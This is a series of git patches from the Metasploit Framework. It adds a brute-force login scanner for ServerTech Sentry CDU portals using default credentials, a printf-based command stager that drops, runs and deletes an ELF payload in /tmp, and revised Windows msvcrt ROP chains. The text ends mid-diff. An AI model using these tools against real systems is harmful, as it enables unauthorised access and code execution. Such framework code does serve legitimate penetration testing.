From 3786376b42bc7748df32ec127749ad5c628a301f Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Tue, 3 Sep 2013 14:44:03 +0530 Subject: [PATCH 01/68] Aux module for Sentry CDU enum --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/auxiliary/scanner/http/sentry_cdu_enum.rb diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb new file mode 100644 index 0000000000..062c45ee42 --- /dev/null +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', + 'Description' => %{ + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. +Vendor site: www.servertech.com. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) + ], self.class) + end + + def run_host(ip) + unless check_conn? + print_error("#{rhost}:#{rport} - Connection failed, Aborting...") + return + end + + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return + end + + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def check_conn? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + print_good("#{rhost}:#{rport} - Server is responsive...") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + return + end + end + + # + # What's the point of running this module if the app actually isn't Sentry + # + + def is_app_sentry? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res and res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running #{p_name}") + return true + else + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth('user','pass') + }) + + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end +end From f85b9aa780e5b0eb56453ee9cc58201dcf8e135d Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Thu, 5 Sep 2013 20:04:02 +0530 Subject: [PATCH 02/68] Updated module - 1 req action Modified the code to have it work with 1 request instead of 3. Thanks Meatballs1! --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 93 +++++++------------ 1 file changed, 31 insertions(+), 62 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 062c45ee42..c3f11fb732 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -20,7 +20,6 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. -Vendor site: www.servertech.com. }, 'Author' => [ @@ -31,68 +30,22 @@ Vendor site: www.servertech.com. register_options( [ - Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) - unless check_conn? - print_error("#{rhost}:#{rport} - Connection failed, Aborting...") - return - end - - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") - return - end - - print_status("#{rhost}:#{rport} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end end - def check_conn? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - print_good("#{rhost}:#{rport} - Server is responsive...") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - return - end - end - - # - # What's the point of running this module if the app actually isn't Sentry - # - - def is_app_sentry? - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - - if (res and res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running #{p_name}") - return true - else - return false - end - end - # # Brute-force the login page # def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin res = send_request_cgi( { @@ -101,27 +54,43 @@ Vendor site: www.servertech.com. 'authorization' => basic_auth('user','pass') }) - if (res and res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + if (res) + print_good("#{rhost}:#{rport} - Server is responsive...") + if (res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running '#{p_name}'") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - report_auth_info(report_hash) - return :next_user + if (res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return false + end end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return :abort From d280d45964dd97b34a25c50951b732229ddd2db7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 10:35:13 -0500 Subject: [PATCH 03/68] Revert "Updated module - 1 req action" This reverts commit f85b9aa780e5b0eb56453ee9cc58201dcf8e135d. --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 93 ++++++++++++------- 1 file changed, 62 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index c3f11fb732..062c45ee42 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -20,6 +20,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. +Vendor site: www.servertech.com. }, 'Author' => [ @@ -30,22 +31,68 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) + unless check_conn? + print_error("#{rhost}:#{rport} - Connection failed, Aborting...") + return + end + + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return + end + + print_status("#{rhost}:#{rport} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end end + def check_conn? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + print_good("#{rhost}:#{rport} - Server is responsive...") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + return + end + end + + # + # What's the point of running this module if the app actually isn't Sentry + # + + def is_app_sentry? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res and res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running #{p_name}") + return true + else + return false + end + end + # # Brute-force the login page # def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin res = send_request_cgi( { @@ -54,43 +101,27 @@ class Metasploit3 < Msf::Auxiliary 'authorization' => basic_auth('user','pass') }) - if (res) - print_good("#{rhost}:#{rport} - Server is responsive...") + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - if (res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running '#{p_name}'") - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } - if (res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + report_auth_info(report_hash) + return :next_user - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) - return :next_user - - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end - - return true - else - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") - return false - end + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return :abort From c44be42cf51693360c14e12e34a197f348066f02 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 10:41:20 -0500 Subject: [PATCH 04/68] Merge the check for Sentry in just one request --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 50 ++++++------------- 1 file changed, 16 insertions(+), 34 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 062c45ee42..80f56eec53 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -19,8 +19,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ - This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. -Vendor site: www.servertech.com. + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power + Distribution Unit) web login portals, and performs login brute force + to identify valid credentials. }, 'Author' => [ @@ -31,20 +32,14 @@ Vendor site: www.servertech.com. register_options( [ - Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) - unless check_conn? - print_error("#{rhost}:#{rport} - Connection failed, Aborting...") - return - end - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") return end @@ -54,43 +49,31 @@ Vendor site: www.servertech.com. end end - def check_conn? + # + # What's the point of running this module if the app actually isn't Sentry + # + def is_app_sentry? begin res = send_request_cgi( { 'uri' => '/', 'method' => 'GET' }) - print_good("#{rhost}:#{rport} - Server is responsive...") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - return + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return false end - end - # - # What's the point of running this module if the app actually isn't Sentry - # - - def is_app_sentry? - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - - if (res and res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running #{p_name}") - return true - else - return false - end + if (res and res.body.include?("Sentry Switched CDU")) + vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") + return true + else + return false + end end # # Brute-force the login page # - def do_login(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin @@ -104,7 +87,6 @@ Vendor site: www.servertech.com. if (res and res.headers['Set-Cookie']) print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { :host => rhost, :port => rport, From 7ce9d38eba42284f46d136a498999d013aca6ddc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 09:49:52 -0500 Subject: [PATCH 05/68] Fix module --- modules/auxiliary/scanner/http/sentry_cdu_enum.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 80f56eec53..00e355867f 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => '/', + 'uri' => '/index.html', 'method' => 'GET', - 'authorization' => basic_auth('user','pass') + 'authorization' => basic_auth(user,pass) }) if (res and res.headers['Set-Cookie']) From 94cc3f0e4928eb80ee51eaec163d65001e4a614d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 09:51:14 -0500 Subject: [PATCH 06/68] Retab changes --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 174 +++++++++--------- 1 file changed, 87 insertions(+), 87 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 00e355867f..2ba6434e46 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -10,103 +10,103 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', - 'Description' => %{ - This module scans for ServerTech's Sentry Switched CDU (Cabinet Power - Distribution Unit) web login portals, and performs login brute force - to identify valid credentials. - }, - 'Author' => - [ - 'Karn Ganeshen ', - ], - 'License' => MSF_LICENSE - )) + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', + 'Description' => %{ + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power + Distribution Unit) web login portals, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + )) - register_options( - [ - OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), - OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) - ], self.class) - end + register_options( + [ + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) + ], self.class) + end - def run_host(ip) - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") - return - end + def run_host(ip) + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") + return + end - print_status("#{rhost}:#{rport} - Starting login brute force...") - each_user_pass do |user, pass| - do_login(user, pass) - end - end + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end - # - # What's the point of running this module if the app actually isn't Sentry - # - def is_app_sentry? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - return false - end + # + # What's the point of running this module if the app actually isn't Sentry + # + def is_app_sentry? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return false + end - if (res and res.body.include?("Sentry Switched CDU")) - vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") - return true - else - return false - end - end + if (res and res.body.include?("Sentry Switched CDU")) + vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") + return true + else + return false + end + end - # - # Brute-force the login page - # - def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - begin - res = send_request_cgi( - { - 'uri' => '/index.html', - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) - }) + # + # Brute-force the login page + # + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/index.html', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) - if (res and res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } - report_auth_info(report_hash) - return :next_user + report_auth_info(report_hash) + return :next_user - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") - return :abort - end - end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end end From 9353929945a3d70c39f3e49a8be2af3958294cff Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Mon, 23 Sep 2013 22:02:29 +0200 Subject: [PATCH 07/68] Add CmdStagerPrintf --- lib/msf/core/exploit/cmdstager_printf.rb | 25 +++++ lib/msf/core/exploit/mixins.rb | 1 + lib/rex/exploitation/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager/printf.rb | 117 +++++++++++++++++++++++ 4 files changed, 144 insertions(+) create mode 100755 lib/msf/core/exploit/cmdstager_printf.rb create mode 100755 lib/rex/exploitation/cmdstager/printf.rb diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb new file mode 100755 index 0000000000..d3749d3f42 --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_printf.rb @@ -0,0 +1,25 @@ +require 'msf/core/exploit/cmdstager' + +module Msf + +#### +# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. +# +# This stager uses a POSIX-conformant printf, that supports the interpretation +# of octal escapes, to drop an ELF with the payload embedded to disk. +#### + +module Exploit::CmdStagerPrintf + + include Msf::Exploit::CmdStager + + # Initializes a CmdStagerPrintf instance for the supplied payload + # + # @param exe [String] The payload embedded into an ELF + # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance + def create_stager(exe) + Rex::Exploitation::CmdStagerPrintf.new(exe) + end +end + +end \ No newline at end of file diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 810f87492e..b1dd01add0 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' require 'msf/core/exploit/cmdstager_echo' +require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 79609ea14f..3db60c1f37 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' require 'rex/exploitation/cmdstager/echo' +require 'rex/exploitation/cmdstager/printf' diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb new file mode 100755 index 0000000000..8ef52b4025 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' +require 'shellwords' + +module Rex +module Exploitation + +class CmdStagerPrintf < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, '/') + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + @cmd_start = "printf '" + @cmd_end = "'>>#{@tempdir}#{@var_elf}" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + # + # Encode into a "\12\345" octal format that printf understands + # + def encode_payload(opts) + encoded = @exe.dup + + # encode only necessary characters with octal escapes + # see Shellwords::shellescape for pattern reference + encoded.gsub!(/[^A-Za-z0-9_\-.,:\/@]/) { |match| + Rex::Text.to_octal(match[0]) + } + + # remove leading '0's from an octal escape only if it is not followed by + # another digit, e. g., '\012a' -> '\12a' but not '\0123' -> '\123' + encoded.gsub!(/\\(?:00([0-9])|0([1-9][0-9]))(?![0-9])/, '\\\\\\1\\2') + + return encoded + end + + # + # Override it to ensure that the octal representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + tmp = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (tmp.length > 0) + part = tmp.slice(0, (opts[:linemax] - xtra_len)) + + # remove the last octal escape if it may be imcomplete + pos = part[-4, 4].index('\\') + part.slice!(0, part.length - 4 + pos) if pos > 0 + + parts << part + tmp.slice!(0, part.length) + end + + parts + end + + # + # Combine the parts of the encoded file with the stuff that goes + # before and after it. + # + def parts_to_commands(parts, opts) + parts.map do |p| + @cmd_start + p + @cmd_end + end + end + + # + # Since the binary has been already dropped to disk, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + unless opts[:nodelete] + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + def cmd_concat_operator + " ; " + end + +end +end +end From 10252ca6f4a640c0a379928c179f8301123b2f8d Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Mon, 23 Sep 2013 23:03:38 +0200 Subject: [PATCH 08/68] Just Rex::Text.to_octal is probably better --- lib/rex/exploitation/cmdstager/printf.rb | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 8ef52b4025..9ff26e23b6 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -42,19 +42,7 @@ class CmdStagerPrintf < CmdStagerBase # Encode into a "\12\345" octal format that printf understands # def encode_payload(opts) - encoded = @exe.dup - - # encode only necessary characters with octal escapes - # see Shellwords::shellescape for pattern reference - encoded.gsub!(/[^A-Za-z0-9_\-.,:\/@]/) { |match| - Rex::Text.to_octal(match[0]) - } - - # remove leading '0's from an octal escape only if it is not followed by - # another digit, e. g., '\012a' -> '\12a' but not '\0123' -> '\123' - encoded.gsub!(/\\(?:00([0-9])|0([1-9][0-9]))(?![0-9])/, '\\\\\\1\\2') - - return encoded + return Rex::Text.to_octal(@exe, "\\") end # From 36d058b28c3cf9a70db8fe9c056b022351e2a9c4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 1 Oct 2013 12:22:46 -0500 Subject: [PATCH 09/68] Warn for tabbed indentation --- tools/msftidy.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index a32ba1df50..49a6e0ca4c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -361,12 +361,16 @@ class Msftidy warn("Spaces at EOL", idx) end - # Allow tabs or spaces as indent characters, but not both. - # This should check for spaces only on October 8, 2013 + # Check for mixed tab/spaces. Upgrade this to an error() soon. if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) warn("Space-Tab mixed indent: #{ln.inspect}", idx) end + # Check for tabs. Upgrade this to an error() soon. + if (ln.length > 1) and (ln =~ /^\x09/) + warn("Tabbed indent: #{ln.inspect}", idx) + end + if ln =~ /\r$/ warn("Carriage return EOL", idx) end From 14d99ffbdba4a60d2e070551ee1d54cff2af23d6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 1 Oct 2013 15:00:43 -0500 Subject: [PATCH 10/68] Update Win XP msvcrt.dll ROP This updated ROP chain for msvcrt.dll does not have any null bytes. --- data/ropdb/msvcrt.xml | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 13b85cedec..0ed43d06c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -7,12 +7,21 @@ + POP EAX # RETN + 0xFFFFFBFF -> ebx + NEG EAX # POP EBP # RETN + JUNK + POP EBX # RETN + Writable location + XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN + POP EDX # RETN + 0xFFFFFFC0-> edx + XCHG EAX, EDX # RETN + NEG EAX # POP EBX # RETN + JUNK + XCHG EAX, EDX # RETN POP EBP # RETN skip 4 bytes - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN From cd1f023f72e874d6dc371f29e5f9e7c044d22908 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 1 Oct 2013 16:18:57 -0500 Subject: [PATCH 11/68] Update msvcrt.dll ROP chain for Windows Server 2003 --- data/ropdb/msvcrt.xml | 36 +++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 15 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 0ed43d06c0..177767e9c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -42,23 +42,29 @@ - POP EAX # RETN - ptr to VirtualProtect() + POP EAX # RETN + VirtualProtect() MOV 